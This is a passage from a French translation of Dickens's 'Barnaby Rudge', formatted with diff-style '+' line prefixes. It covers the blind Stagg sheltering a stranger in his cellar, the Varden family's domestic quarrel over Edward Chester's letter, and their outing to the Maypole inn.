+nonchalamment une douzaine d'écervelés, se huant, s'appelant l'un
+l'autre, puis se séparant d'une manière tapageuse, prenant
+différentes routes, et se dispersant en petits groupes.
+
+Dans l'espoir qu'il y avait à proximité quelque taverne de bas
+étage qui lui procurerait un sûr asile, il entra dans cette cour
+quand la bande fut partie et il promena ses yeux à la ronde, afin
+d'apercevoir une porte à demi ouverte, ou une fenêtre éclairée, ou
+quelque autre indice du lieu d'où venaient ces bambocheurs; mais
+tout y était d'une obscurité si profonde, d'un aspect tellement
+sinistre, qu'il en conclut que les braillards ne s'étaient
+introduits là qu'en se trompant de chemin, et qu'ils revenaient
+sur leurs pas au moment où il les avait remarqués. Avec une
+semblable opinion, et reconnaissant d'ailleurs qu'il n'existait
+point d'autre issue que celle par où il était entré lui-même, il
+allait reprendre le même chemin, lorsque d'un grillage presque à
+ses pieds s'échappa un soudain courant de lumière, et le bruit
+d'une conversation se rapprocha. Le rôdeur fit retraite dans une
+entrée de porte pour voir qui étaient ces causeurs et les écouter.
+
+Comme il exécutait son mouvement, la lumière arriva au niveau du
+pavé de la cour, et un homme monta, une torche à la main. Ce
+personnage ouvrit la serrure et tint le grillage relevé pour en
+laisser passer un autre, qui parut immédiatement, sous la forme
+d'un jeune homme de petite stature et d'un air d'importance peu
+commun, habillé à la vieille mode, avec un luxe de mauvais goût.
+
+«Bonsoir, noble capitaine, dit l'homme à la torche. Adieu,
+commandant. Bonne chance, illustre général!»
+
+L'autre répondit à ces compliments en lui ordonnant de se taire et
+de garder pour lui son bruyant ramage; il lui adressa plusieurs
+autres injonctions du même genre, avec une grande fluidité de
+paroles et une grande sévérité de manières.
+
+«Mes hommages, capitaine, à cette Miggs dont vous avez transpercé
+le coeur, répliqua le porteur de torche en baissant de ton. Mon
+capitaine vise à un gibier de plus haute volée que des _Miggs_.
+Ha! ha! ha! Mon capitaine est un aigle, s'il en a le coup d'oeil,
+il en a aussi les ailes. Mon capitaine vous casse un coeur comme
+d'autres célibataires vous cassent un oeuf à la coque.
+
+-- Vous êtes fou, Stagg! dit M. Tappertit en mettant le pied sur
+le pavé de la cour, et se frottant les jambes pour ôter la
+poussière qu'il avait ramassée dans son ascension.
+
+-- Quels précieux membres! cria Stagg en étreignant une de ses
+chevilles. Une Miggs oserait prétendre à des jambes faites au tour
+comme ça! Non, non, mon capitaine. Nous enlèverons de belles
+dames, et nous les épouserons dans notre secrète caverne. Nous
+nous unirons avec de florissantes beautés, capitaine.
+
+-- Je vous dirai une chose, mon gaillard, dit M. Tappertit en
+dégageant sa jambe, c'est que je vous dispense de prendre de ces
+libertés-là avec moi et de toucher certaines questions, à moins
+que je ne vous y autorise. Parlez quand on vous parle, de certains
+sujets réservés, mais jamais autrement. Tenez votre torche en
+l'air jusqu'à ce que je sois à l'entrée de la cour, avant de
+retourner vous blottir dans votre chenil, m'entendez-vous?
+
+-- Je vous entends, noble capitaine.
+
+-- Obéissez donc, dit M. Tappertit avec hauteur. Messieurs, en
+avant, marche!» En prononçant ce commandement (adressé à son état-
+major imaginaire), il se croisa les bras et sortit de la cour avec
+une dignité suprême.
+
+Son obséquieux acolyte resta debout, levant la torche au-dessus de
+sa tête, et l'espion vit alors pour la première fois, du fond de
+sa cachette, que c'était un aveugle. Quelque mouvement
+involontaire de l'espion frappa la fine oreille de l'aveugle,
+avant que l'autre eût seulement bougé d'un pouce, car il se
+retourna soudain en criant: «Qui est là?
+
+-- Un homme, dit l'autre en s'avançant, un ami.
+
+-- Un inconnu! répliqua l'aveugle. Les inconnus ne sont pas mes
+amis. Que faites-vous là?
+
+-- J'ai vu votre compagnie sortir, et j'ai attendu ici qu'elle fût
+partie. Il me faut un logement.
+
+-- Un logement à cette heure! répliqua Stagg, en lui montrant du
+doigt l'aube comme s'il la voyait. Savez-vous qu'il va être jour?
+
+-- Je le sais, repartit l'autre, à mes dépens. J'ai sillonné cette
+ville au coeur de fer pendant toute la nuit.
+
+-- Ce que vous avez de mieux à faire, c'est de la sillonner
+encore, dit l'aveugle en se préparant à descendre, jusqu'à ce que
+vous trouviez quelque logement dont votre goût s'accommode. Moi je
+n'en loue pas.
+
+-- Arrêtez! cria l'autre en le retenant par le bras.
+
+-- Ne me retenez pas, ou je vais vous briser cette torche sur
+votre figure de pendard (car c'est une figure de pendard si elle
+ressemble à votre voix), et je vais réveiller tout le voisinage.
+Laissez-moi descendre, entendez-vous?
+
+-- _Entendez-vous?_ riposta l'autre en faisant sonner ensemble
+quelques schellings, et les lui collant dans la main avec
+précipitation. Je ne suis pas un mendiant. Je payerai l'asile que
+vous me donnerez. Par la mort! est-ce donc trop demander à un
+homme tel que vous? J'arrive de la campagne, et je désire me
+reposer quelque part à l'abri des curieux. Je suis affaibli,
+épuisé, harassé, mourant de fatigue. Laissez-moi me coucher comme
+un chien devant votre feu; je ne vous en demande pas davantage. Si
+vous voulez vous débarrasser de moi, je partirai demain.
+
+-- Lorsqu'un gentleman a eu quelque malheur sur la route, marmotta
+Stagg, cédant à l'autre qui, le suivant de près, avait déjà gagné
+une marche, et qu'il peut payer son logement...
+
+-- Je vous donnerai tout ce que j'ai. Justement je n'éprouve en ce
+moment aucun besoin de nourriture, Dieu le sait, et je ne souhaite
+que d'acheter un asile. Avez-vous quelqu'un en bas?
+
+-- Personne.
+
+-- Alors fermez votre grille, et montrez-moi le chemin, vite.»
+
+L'aveugle consentit après un moment d'hésitation, et ils
+descendirent ensemble. Le dialogue avait été des plus rapides, et
+les deux hommes atteignirent la misérable demeure de Stagg avant
+que celui-ci eût eu le temps de revenir de sa première surprise.
+
+«Puis-je voir où mène cette porte, et ce qu'il y a plus loin? dit
+l'étranger en jetant à la ronde un oeil perçant. Ça ne vous fait
+rien?
+
+-- Je vais vous le montrer moi-même! suivez-moi, ou allez devant.
+À votre choix.»
+
+L'étranger lui dit de le précéder, et, à la lueur de la torche que
+son guide levait en l'air exprès, il fit des trois caves un examen
+minutieux. Assuré que l'aveugle ne l'avait pas trompé, et qu'il
+habitait là tout seul, le visiteur retourna avec son hôte à la
+première cave dans laquelle était un bon feu, et se jeta devant,
+étendu par terre, avec un profond gémissement.
+
+Son hôte continua ses occupations ordinaires sans paraître songer
+à lui davantage. Mais à peine se fut-il endormi (et l'aveugle s'en
+aperçut aussi promptement que l'eût fait un homme doué de la vue
+la plus perçante), que Stagg s'agenouilla auprès de lui, et lui
+passa légèrement mais soigneusement la main sur la figure et sur
+le corps.
+
+Il eut un sommeil entrecoupé de soubresauts et de gémissements, et
+interrompu rarement d'un mot ou deux qu'il murmurait. Ses mains
+étaient serrées, ses sourcils froncés, sa bouche étroitement
+close. Rien de tout cela n'échappa à l'inventaire exact que
+l'aveugle dressa de sa personne; et sentant sa curiosité fortement
+excitée, comme s'il avait déjà pénétré quelque chose du secret de
+l'inconnu, il resta assis à le surveiller, si l'on peut surveiller
+sans voir, et à écouter, jusqu'à ce qu'il fit grand jour.
+
+
+
+
+CHAPITRE XIX.
+
+
+La jolie petite tête de Dolly Varden était encore éperdue des
+divers souvenirs de la soirée, et ses yeux brillants étaient
+encore éblouis d'une foule d'images qui dansaient devant eux comme
+des atomes dans les rayons du soleil; parmi ces images figurait
+spécialement l'effigie d'un de ses partenaires, jeune carrossier
+(avec brevet de maître), lequel lui avait donné à entendre, en lui
+offrant la main pour la conduire à sa chaise au moment du départ,
+que son idée fixe et sa résolution irrévocable étaient de négliger
+désormais ses affaires, et de mourir lentement d'amour pour elle.
+La tête de Dolly et ses yeux, disons-nous, et ses pensées, et tous
+ses sens se trouvaient donc dans un état d'agitation désordonnée
+que la soirée justifiait bien, quoiqu'elle eût déjà trois jours de
+date, lorsque, au moment où, assise à table, au déjeuner, et fort
+distraite, elle lisait sa bonne aventure (c'est-à-dire de beaux
+mariages et de splendides fortunes) dans le résidu de sa tasse à
+thé, on entendit un pas dans la boutique. On aperçut en même
+temps, par la porte vitrée, M. Édouard Chester, debout au milieu
+des serrures et des clefs pleines de rouille, tel que l'Amour au
+milieu des roses: comparaison d'une justesse dont l'historien ne
+peut nullement se faire honneur, attendu que l'invention
+appartient à un autre, à la chaste et modeste Miggs, qui, voyant
+le jeune homme du seuil de la porte, où elle était alors à
+nettoyer, se sentit en veine de sentiment, et se permit dans la
+foi intérieure de son âme virginale cette similitude poétique.
+
+Le serrurier, les yeux au plafond et la tête en arrière, était
+justement en ce moment dans le feu de ses communications intimes
+avec Tobie, et il n'aperçut pas, pour sa part, la personne qui lui
+faisait visite, jusqu'à ce que Mme Varden, plus vigilante que les
+autres, eût prié Sim Tappertit d'ouvrir la porte vitrée et de
+faire entrer le gentleman. Et notez que la bonne dame ne fut pas
+fâchée de trouver son mari en faute, pour lui faire une bonne
+morale à propos de rien, sur ce que, par exemple, prendre le matin
+une gorgée de petite bière, c'était une coutume pernicieuse,
+irréligieuse et païenne, dont les délices devaient être laissées à
+des pourceaux, à Satan, ou du moins aux sectateurs du pape, et
+faire horreur aux justes comme une oeuvre de crime et de péché.
+Elle allait sans aucun doute pousser son admonition beaucoup plus
+loin; elle y eût rattaché une longue liste de préceptes d'une
+valeur inestimable, si le jeune gentleman, dont l'attitude était
+quelque peu gênée et décontenancée pendant qu'elle sermonnait son
+mari, ne l'eût engagée à conclure prématurément.
+
+«Vous m'excuserez, monsieur, j'en suis bien sûre, dit Mme Varden
+en se levant et lui faisant des révérences. Varden est si
+irréfléchi, et il a tellement besoin qu'on lui rappelle... Sim,
+apportez une chaise.»
+
+M. Tappertit obéit avec un geste plein d'une noble fierté, qui
+semblait dire qu'il ne voulait pas la refuser, mais qu'il
+protestait contre cet attentat à sa dignité.
+
+«Vous pouvez vous en aller, Sim,» dit le serrurier.
+
+M. Tappertit obéit encore, mais toujours sous réserve de
+protestation; et en retournant à l'atelier, il commença
+sérieusement à craindre qu'il ne fût obligé d'en venir à
+empoisonner son maître avant la fin de son apprentissage.
+
+Pendant ce temps, Édouard répondit aux révérences de Mme Varden
+par les compliments les mieux appropriés; cette dame en était
+toute rayonnante: aussi, quand il accepta une tasse de thé des
+belles mains de Dolly, la mère fut on ne peut plus agréable.
+
+«Assurément, s'il y a quelque chose que nous puissions faire,
+Varden ou moi, ou bien Dolly elle-même, pour vous obliger,
+monsieur, n'importe quand, vous n'avez qu'à le dire, et ce sera
+fait, dit Mme Varden.
+
+-- Je vous suis fort obligé assurément, répliqua Édouard; vous
+m'encouragez à vous dire que je suis justement venu ici pour vous
+demander vos bons offices.»
+
+Mme Varden fut enchantée outre mesure.
+
+«Il m'est venu à l'esprit que probablement votre charmante fille
+irait à la Garenne soit aujourd'hui soit demain, dit Édouard en
+regardant Dolly; s'il en est ainsi, et que vous consentiez à ce
+qu'elle se charge de cette lettre, vous m'obligerez, madame, plus
+que je ne saurais vous le dire. La vérité est que, malgré le plus
+vif désir que ma lettre arrive à sa destination, j'ai des raisons
+particulières pour ne pas la confier à tout autre moyen de
+transport; ce qui fait que, sans votre aide, je serais dans un
+extrême embarras.
+
+-- Elle ne devait pas aller de ce côté-là, monsieur, ni
+aujourd'hui ni demain, ni en vérité de toute la semaine prochaine,
+répliqua gracieusement la dame; mais nous serons heureux de nous
+déranger pour vous, et, si vous le souhaitez, vous pouvez compter
+qu'elle ira aujourd'hui. Vous supposeriez peut-être, ajouta
+Mme Varden, et elle regardait son époux en fronçant le sourcil, à
+voir Varden assis là, sombre et taciturne, qu'il a quelque
+objection à cet arrangement; mais n'y faites pas attention, s'il
+vous plaît: c'est son habitude à la maison; car au dehors il est
+assez gai et assez causeur.»
+
+Or le fait est que l'infortuné serrurier, bénissant son étoile de
+ce qu'il trouvait sa compagne de si bonne humeur, était resté
+assis avec une radieuse figure, et prenant un plaisir infini à
+l'entendre dégoiser si bien. Cette soudaine attaque le prit donc
+tout à fait au dépourvu.
+
+«Ma chère Marthe, dit-il.
+
+-- Oh oui, bien sûr, interrompit Mme Varden, avec un sourire où le
+dédain se mêlait à l'enjouement. Très chère! nous savons tous
+cela.
+
+-- Mais, ma chère âme vous êtes entièrement dans l'erreur, vous
+vous méprenez en vérité. J'étais ravi de vous voir si bonne, si
+prompte à obliger; j'attendais, ma chère, avec anxiété, je vous le
+jure, ce que vous alliez dire.
+
+-- Vous attendiez avec anxiété, répéta Mme Varden. Oui vraiment,
+je vous remercie, Varden. Vous attendiez, comme vous faites
+toujours, que je pusse m'exposer à quelque reproche de votre part
+si vous trouviez matière à m'en faire, mais je suis accoutumée à
+cela dit la dame avec un rire sous cape d'un genre solennel, et
+c'est ce qui me console.
+
+-- Je vous donne ma parole. Marthe... dit Gabriel.
+
+-- Laissez-moi vous donner ma parole, mon cher, dit en
+l'interrompant sa femme avec un sourire charitable, que lorsqu'il
+y a de semblables discussions entre gens mariés, le mieux est d'y
+couper court. Nous mettrons donc ce sujet de côté s'il vous plaît,
+Varden. Je ne désire pas le poursuivre. J'aurais beaucoup à dire,
+mais je préfère ne dire rien; je vous prie de n'en pas parler
+davantage.
+
+-- Je ne demande pas à en parler davantage, répliqua le serrurier
+piqué.
+
+-- Eh bien donc, en voilà assez, dit Mme Varden.
+
+-- Seulement ce n'est pas moi qui ai commencé, ajouta le serrurier
+avec bonne humeur, vous devez le reconnaître.
+
+-- Vous n'avez pas commencé, Varden! s'écria sa femme en ouvrant
+de grands yeux et regardant la compagnie à la ronde, comme si elle
+disait: _Vous entendez cet homme!_ Vous n'avez pas commencé.
+Varden, mais vous ne direz pas que je fusse de mauvaise humeur.
+Non, vous n'avez pas commencé, oh! mon Dieu non, ce n'est pas
+vous, mon cher!
+
+-- Bien, bien, dit le serrurier, voilà donc une affaire réglée.
+
+-- Oh oui, répliqua sa femme, tout à fait. S'il vous convient de
+dire que c'est Dolly qui a commencé, mon cher, je ne vous
+contredirai pas, je connais mon devoir. J'ai besoin de le
+connaître, bien sûr, je suis souvent contrainte de me le
+représenter à l'esprit, quand j'aurais envie de l'oublier un
+moment. Je vous remercie, Varden.» Et en parlant de la sorte, avec
+une puissante démonstration d'humilité et de clémence, elle croisa
+ses mains et regarda encore à la ronde et son sourire disait
+clairement: «Si vous voulez voir celle qui mérite le premier rang
+parmi les femmes martyres, elle est ici, sous vos yeux,
+contemplez-la!»
+
+Ce petit incident, quoique bien propre à faire ressortir la
+douceur et l'amabilité extraordinaires de Mme Varden, était de
+nature à gêner la conversation et à déconcerter tout le monde,
+sauf cette excellente dame: aussi n'y eut-il que quelques
+monosyllabes échangés jusqu'à ce qu'Édouard se retirât; ce qu'il
+fit bientôt, en remerciant un grand nombre de fois la maîtresse de
+la maison de sa condescendance, et en chuchotant à l'oreille de
+Dolly qu'il viendrait voir le lendemain s'il n'y avait pas par
+hasard réponse à son billet. Dolly véritablement n'avait pas
+besoin qu'il le lui dit pour le savoir: car Barnabé avec son ami
+Grip s'était glissé chez elle la veille au soir pour la préparer à
+la visite qu'elle recevait en ce moment.
+
+Gabriel accompagna Édouard à la porte de la rue, et revint les
+mains dans ses poches; puis, après avoir tourné dans la salle
+inquiet et mal à son aise, après avoir lancé beaucoup de coups
+d'oeil obliques vers Mme Varden (qui avec la plus calme des
+physionomies était plongée à cinq brasses de profondeur dans le
+Manuel Protestant), il interpella Dolly et lui demanda comment
+elle comptait aller à la Garenne. Dolly répondit que, selon sa
+supposition, elle s'y rendrait par la diligence, et regarda madame
+sa mère qui, voyant qu'on lui faisait un appel silencieux, plongea
+dans le Manuel, et perdit conscience de toutes choses terrestres.
+
+«Marthe, dit le serrurier.
+
+-- Je vous entends, Varden, dit sa femme, sans remonter à la
+surface.
+
+-- Je suis fâché, ma chère amie, que vous ayez des préventions
+contre le Maypole et le vieux John: car sans cela, comme la
+matinée est très belle et que le samedi n'est pas pour nous un
+jour de besogne, nous aurions pu aller tous les trois à Chigwell,
+et passer une journée tout à fait agréable.»
+
+Mme Varden ferma immédiatement le Manuel, et fondant en larmes,
+demanda qu'on la conduisît en haut.
+
+«Eh bien! qu'avez-vous donc, Marthe?» dit le serrurier.
+
+À quoi Marthe répliqua: «Oh! ne me parlez pas,» et protesta dans
+une espèce d'agonie que, si on lui avait dit cela, elle n'aurait
+pas voulu croire que ce fût possible.
+
+«Mais, Marthe, dit Gabriel en se plaçant sur son passage comme
+elle se mettait en route pour sa chambre avec l'aide de l'épaule
+de Dolly, qu'est-ce que vous n'auriez pas cru possible? Dites-moi
+le nouveau tort que j'ai maintenant avec vous, voyons, dites-le-
+moi; sur mon âme je ne le sais pas; le savez-vous, ma fille?
+Damnation! cria le serrurier en arrachant sa perruque dans une
+sorte de frénésie, personne ne le sait, non vraiment personne, à
+moins que ce ne soit Miggs!
+
+-- Miggs, dit Mme Varden languissamment et avec des symptômes
+d'une extravagance imminente, Miggs m'est attachée, et cela suffit
+pour attirer sur elle la haine dans cette maison. Eh bien! oui,
+cette fille est une consolation pour moi, si elle ne sait pas
+plaire à d'autres.
+
+-- Ce n'est pas toujours une consolation pour moi, cria Gabriel
+rendu audacieux par le désespoir. C'est le malheur de ma vie. Elle
+vaut à elle seule toutes les plaies d'Égypte!
+
+-- Il y a des gens qui le pensent, je n'en doute pas, dit
+Mme Varden. J'étais préparée à cela, c'est naturel, cela va avec
+le reste. Lorsque vous m'insultez en face, comme vous le faites,
+puis-je m'étonner que vous l'insultiez derrière son dos?»
+
+Et ici l'extravagance allant son train Mme Varden pleura, rit,
+soupira, frissonna, eut des hoquets et des suffocations, elle dit
+qu'elle savait que c'était folie de sa part, mais qu'elle ne
+pouvait pas s'en empêcher, et que quand elle serait morte peut-
+être on aurait du chagrin de tout cela, ce qui réellement vu les
+circonstances, ne paraissait pas tout à fait aussi probable
+qu'elle semblait le croire, et elle en chanta bien plus long sur
+la même gamme. En un mot, elle n'oublia aucune des cérémonies qui
+accidentent les occasions de ce genre, et s'étant fait soutenir
+jusqu'au haut de l'escalier, elle fut déposée dans un état
+spasmodique des plus graves sur son propre lit, où bientôt après
+Mlle Miggs se lança elle-même à corps perdu sur sa pauvre
+maîtresse.
+
+Le fin mot de toute cette comédie, c'est que Mme Varden désirait
+aller à Chigwell, qu'elle désirait ne faire aucune concession et
+ne donner aucune explication; qu'elle ne voulait y aller qu'autant
+qu'on la prierait et supplierait de le faire et qu'elle était
+décidée à ne pas accepter d'autres conditions. En conséquence,
+après un total énorme de gémissements et de cris à l'étage
+supérieur, après qu'on eut bien humecté le front de la malade et
+frotté ses tempes, appliqué sous son nez le sel de corne de cerf,
+et ainsi de suite; après les pathétiques adjurations que Miggs
+appuya d'un grog bien chaud et pas trop faible, et de divers
+autres cordiaux, également d'une vertu stimulante, administrés
+d'abord avec une cuiller à thé, mais plus tard en doses toujours
+croissantes, dont Miggs elle-même prit sa part, comme mesure
+préventive (car la syncope est contagieuse); après l'emploi de
+tous ces remèdes et de beaucoup d'autres trop longs à citer, sinon
+à gober; après qu'on eut assaisonné le tout de consolations
+morales, religieuses et combinées, le serrurier s'humilia, et le
+but fut atteint.
+
+«C'est seulement pour l'amour de la paix et de la tranquillité,
+père, dit Dolly en le pressant de monter à la chambre.
+
+-- Oh! Doll, Doll, dit son bonhomme de père, si jamais vous avez
+un mari à vous!»
+
+Dolly jeta un coup d'oeil à la glace.
+
+«Bien; quand vous l'aurez ce mari, continua le serrurier, pas de
+syncope, mignonne. La syncope trop répétée cause à elle seule plus
+de maux domestiques, Doll, que toutes les passions mises ensemble.
+Rappelez-vous ça, chère petite, si vous voulez être réellement
+heureuse, et vous ne pouvez l'être, si votre mari ne l'est pas. Un
+mot encore dans le tuyau de l'oreille, mon trésor; n'ayez jamais
+de Miggs autour de vous!»
+
+Avec cet avis il donna un baiser à sa fille sur sa joue en fleur,
+et lentement il gagna la chambre de Mme Varden. Cette dame gisait
+toute pâle et languissante sur sa couche, se réconfortant par la
+vue de son dernier chapeau neuf, que Miggs, comme un moyen de
+calmer ses sens troublés, déployait sur le bord de son lit dans
+l'aspect le plus favorable.
+
+«Voici monsieur, mame, dit Miggs. Oh! quel bonheur quand mari et
+femme se raccommodent! Oh! penser que lui et elle puissent jamais
+avoir un mot ensemble!»
+
+Dans l'énergique effusion de ces espèces de toasts, qui furent
+proférés comme une apostrophe aux cieux en général, Mlle Miggs
+percha sur sa propre tête le chapeau de sa maîtresse, croisa ses
+mains, et se mit à pleurer.
+
+«Je ne peux pas retenir mes larmes, cria Miggs. Je ne le saurais
+même quand je devrais m'y noyer. Elle a un tel esprit de clémence
+et de miséricorde! elle va oublier tout ce qui s'est passé, et
+elle ira avec vous, monsieur. Oh! oui, lui fallût-il aller au bout
+du monde, elle irait avec vous.»
+
+Mme Varden, avec un sourire plein de langueur, blâma doucement la
+camériste de cet enthousiasme, et lui représenta en même temps
+qu'elle se sentait beaucoup trop mal à son aise pour se hasarder à
+sortir ce jour-là.
+
+«Oh! non, vous ne l'êtes pas trop, mame, en vérité, vous ne l'êtes
+pas trop, dit Miggs. J'en appelle à monsieur; monsieur sait que
+vous ne l'êtes pas trop, mame. Le bon _hair_, le mouvement de la
+voiture, vous feront du bien, mame; il ne faut pas vous laisser
+abattre, il ne le faut pas réellement. N'est-ce pas, monsieur,
+qu'elle doit se lever pour l'amour de nous tous? C'est précisément
+ce que j'étais en train de lui dire. Elle doit se souvenir de
+nous, si elle s'oublie elle-même. Monsieur vous persuadera, mame,
+j'en suis sûre. Voici Mlle Dolly prête à partir, vous savez, avec
+monsieur et avec vous, et tous trois si heureux et si contents.
+Oh! cria Miggs, en se remettant à pleurer, avant de quitter la
+chambre, dans une grande émotion, jamais je n'ai vu d'angélique
+créature comme elle pour son esprit de clémence; jamais, jamais je
+n'en ai vu. Monsieur non plus n'en a jamais vu; non, ni personne
+au monde, jamais!»
+
+Pendant cinq minutes environ, Mme Varden fit une douce opposition
+aux prières de son mari, lequel lui répétait qu'elle l'obligerait
+en prenant un jour de plaisir; mais à la fin elle céda, se laissa
+persuader, et lui accordant une amnistie (dont tout le mérite,
+disait elle avec humilité, revenait au Manuel Protestant, et non
+pas à elle), elle exprima le désir que Miggs vînt l'aider à
+s'habiller. Miggs fut prompte à venir, et nous ne ferons que
+rendre justice aux efforts réunis de la maîtresse et de la
+servante en constatant que la bonne dame lorsqu'elle descendit
+après un certain temps, équipée d'une façon complète pour le
+voyage, paraissait jouir, comme s'il ne s'était rien passé, de la
+meilleure santé imaginable.
+
+Quant à Dolly, elle était là aussi, la perle et le modèle des
+jolis minois, parée d'une gentille petite mante couleur cerise,
+avec le capuchon rabattu sur sa tête, et sur le haut de ce
+capuchon il y avait un petit chapeau de paille garni de rubans
+couleur cerise, et posé un tantinet de côté, juste assez pour en
+faire la plus agaçante et la plus perverse coiffure qu'eût jamais
+inventée une malicieuse marchande de modes. Et, sans parler de la
+manière dont ce système d'ornements couleur cerise ajoutait du
+brillant à ses yeux, ou rivalisait avec ses lèvres, ou répandait
+sur sa figure une nouvelle fleur de beauté, elle portait un si
+cruel petit manchon, et une paire de souliers si capables de vous
+fendre le coeur, et elle était entourée et enveloppée, s'il est
+permis de le dire, de tant de coquetteries aggravantes de toute
+espèce, que quand M. Tappertit, tenant la tête du cheval, vit la
+jeune fille sortir seule de la maison, la tentation lui vint de
+l'attirer dans la chaise et de fuir au galop comme un fou. Et il
+l'eût incontestablement fait sans les doutes qui l'assiégèrent au
+sujet de Gretna-Green: il ignorait le chemin le plus court, il ne
+savait pas s'il fallait monter la rue ou la descendre, tourner à
+droite ou tourner à gauche, si, en supposant qu'on emportât
+d'assaut toutes les barrières sur le chemin, le forgeron de la
+localité, en définitive, les marierait à crédit, ce qui, vu le
+caractère clérical du personnage qui prête son office complaisant
+à la chose, parut, même à son imagination excitée, d'une telle
+invraisemblance, qu'il hésita. Pendant qu'il était là hésitant, et
+lançant à Dolly des regards de ravisseur en chaise de poste à six
+chevaux, son maître et sa maîtresse sortirent de chez eux avec la
+fidèle Miggs, et l'occasion propice s'évanouit pour jamais, car la
+carriole cria sur ses ressorts, et Mme Varden fut dedans, et la
+carriole cria de nouveau et plus que la première fois, et le
+serrurier fut dedans, et la chaise bondit, comme si elle avait un
+léger battement de coeur, et Dolly fut dedans et la chaise partit,
+et sa place resta vide, et il ne resta plus que lui et cette
+lugubre Miggs debout, ensemble, dans la rue.
+
+Le brave serrurier était d'aussi bonne humeur que s'il ne fût rien
+arrivé qui le contrariât pendant les douze derniers mois; Dolly
+était tous sourires et toutes grâces, et Mme Varden était agréable
+au delà de tout précédent. Comme ils roulaient cahotés à travers
+les rues en parlant de chose et d'autre, devinez qui l'on aperçut
+sur le trottoir: c'était le carrossier lui-même, ayant un air si
+distingué que personne ne pouvait croire qu'il se fut jamais
+autrement occupé d'une voiture que pour s'y faire promener, et
+saluer de là les piétons comme un noble personnage. Il est bien
+sûr que Dolly fut confuse quand elle rendit le salut; il est bien
+sûr que les rubans couleur cerise tremblèrent un peu lorsqu'elle
+rencontra ses mélancoliques regards qui semblaient dire. «J'ai
+tenu ma parole, j'ai commencé, l'affaire va un train du diable, et
+vous en êtes la cause» Il resta là fixé sur le sol comme une
+statue, suivant l'expression de Dolly comme une pompe, suivant
+l'expression de Mme Varden, jusqu'à ce qu'ils eussent tourné le
+coin de la rue, et, quand son père déclara qu'il fallait que ce
+garçon-là fût bien impudent, quand sa mère demanda avec étonnement
+quelle pouvait être l'intention de ce jeune homme, Dolly redevint
+toute rouge, si rouge que son capuchon pâlit.
+
+Mais ils n'en continuèrent pas moins gaiement leur voyage. Le
+serrurier, dans l'imprudente plénitude de son coeur, «levait le
+coude» à toutes sortes d'endroits, et trahissait la plus étroite
+intimité avec toutes les tavernes de la route et tous les
+hôteliers et hôteliers, amicales relations que partageait
+véritablement le petit cheval, car il s'arrêtait de lui-même.
+Jamais gens ne furent plus heureux de voir d'autres gens, que ces
+hôteliers et hôtelières de contempler M. Varden et Mme Varden et
+Mlle Varden. «Ne descendrez-vous pas? disait l'un -- Il faut
+absolument que vous montiez chez nous, disait un autre. -- Si vous
+nous refusez de goûter si peu que ce soit de quelque chose, je me
+fâcherai et je serai convaincue que vous êtes fiers,» disait une
+troisième personne du sexe féminin, et ainsi de suite au point que
+ce n'était pas tant un voyage qu'une marche solennelle, une scène
+d'hospitalité qui se prolongeait du commencement à la fin. Il
+était assez flatteur de jouir d'une pareille estime; aussi
+Mme Varden ne dit rien sur le moment, et fut de l'affabilité la
+plus délicieuse, mais quelle masse de témoignages elle recueillit
+ce jour-là contre l'infortuné serrurier, pour en faire usage au
+besoin! Jamais on n'en fit pareille collection dans une enquête
+matrimoniale.
+
+Avec le temps, avec un temps assez long, car ils ne furent pas peu
+retardés par ces interruptions agréables, ils atteignirent la
+lisière de la forêt et, après la plus agréable promenade sous les
+arbres en berceau, ils arrivèrent enfin au Maypole. Le joyeux
+«holà ho!» du serrurier amena vite à son porche le vieux John, et
+après lui Joe, si transportés l'un et l'autre à la vue de ces
+dames, que pendant un moment il leur fut tout à fait impossible
+d'articuler un mot de bienvenue, ni de faire autre chose que
+s'ébahir.
+
+Joe, toutefois, ne s'oublia qu'un moment; il revint vite à lui,
+poussa de côté son père somnolent (M. Willet parut concevoir de
+cette bousculade une profonde, une inexprimable indignation), et
+s'élançant dehors comme un trait, il se trouva en mesure d'aider
+ces dames à descendre. Il fallait que Dolly descendît la première.
+Joe l'eut dans ses bras; oui, le temps seulement de compter
+jusqu'à un, Joe l'eut dans ses bras. Rayon de bonheur!
+
+Il serait difficile de décrire quelle plate et banale affaire ce
+fut après cela d'aider Mme Varden à descendre; mais Joe le fit, et
+de la meilleure grâce du monde. Mais le vieux John, qui, ayant une
+vague et nébuleuse idée que Mme Varden ne l'aimait pas, n'était
+pas bien sûr qu'elle ne fût pas venue dans des intentions d'assaut
+et de bataille, prit courage, dit qu'il espérait qu'elle allait
+bien, et s'offrit à la conduire dans la maison. Cette offre étant
+reçue d'une façon amicale, ils se dirigèrent ensemble vers
+l'intérieur; Joe et Dolly suivirent, bras dessus bras dessous
+(encore du bonheur!); Varden composait l'arrière-garde.
+
+Le vieux John ne fut pas content qu'on ne se fût assis dans le
+comptoir, et, personne n'y faisant objection, ce fut dans le
+comptoir qu'on entra. Tous les comptoirs sont de petits endroits
+bien commodes; mais le comptoir du Maypole était le plus mignon,
+le plus confortable et le plus complet que l'esprit humain eût
+jamais inventé. Il y avait de si merveilleuses bouteilles dans le
+vieux casier en bois de chêne; des pots si brillants qui
+pendillaient à des chevilles, inclinés à peu près d'avance dans la
+position voulue pour qu'un homme altéré les portât à ses lèvres;
+il y avait de si solides barillets de Hollande rangés sur des
+tablettes; un si grand nombre de citrons suspendus par des filets
+séparés, formant l'odorant bosquet dont il a déjà été question
+dans cette chronique, et suggérant, avec des pains de sucre d'un
+blanc de neige, amoncelés auprès, l'idée d'un punch exquis au delà
+de toute connaissance humaine; il y avait de tels cabinets, de
+telles armoires, de tels tiroirs pleins de pipes, de telles places
+pour serrer une foule de choses dans l'embrasure des fenêtres, le
+tout bourré jusqu'à la gorge de comestibles, de liquides ou
+d'assaisonnements savoureux; enfin, et pour couronner tout cela,
+comme symbole des immenses ressources de l'établissement et de son
+défi aux consommateurs de pouvoir en venir à bout, il y avait un
+si monstrueux fromage!
+
+C'aurait été un pauvre coeur, incapable de jamais se réjouir... le
+coeur le plus pauvre, le plus faible, le plus aqueux qui battit
+jamais, que celui qui ne se serait pas senti réchauffé devant le
+comptoir du Maypole. Ce n'est toujours pas celui de Mme Varden,
+car il prit feu à l'instant. Il ne lui eût pas été plus possible
+de faire des reproches à John Willet parmi ces dieux domestiques,
+les barillets et les bouteilles, les citrons et les pipes, et le
+fromage, que de lui prendre son propre couteau à découper, si
+luisant, pour le poignarder du coup. Le menu du dîner aussi avait
+de quoi attendrir un sauvage. «Un peu de poisson, dit John à la
+cuisinière, et quelques côtelettes de mouton panées, avec beaucoup
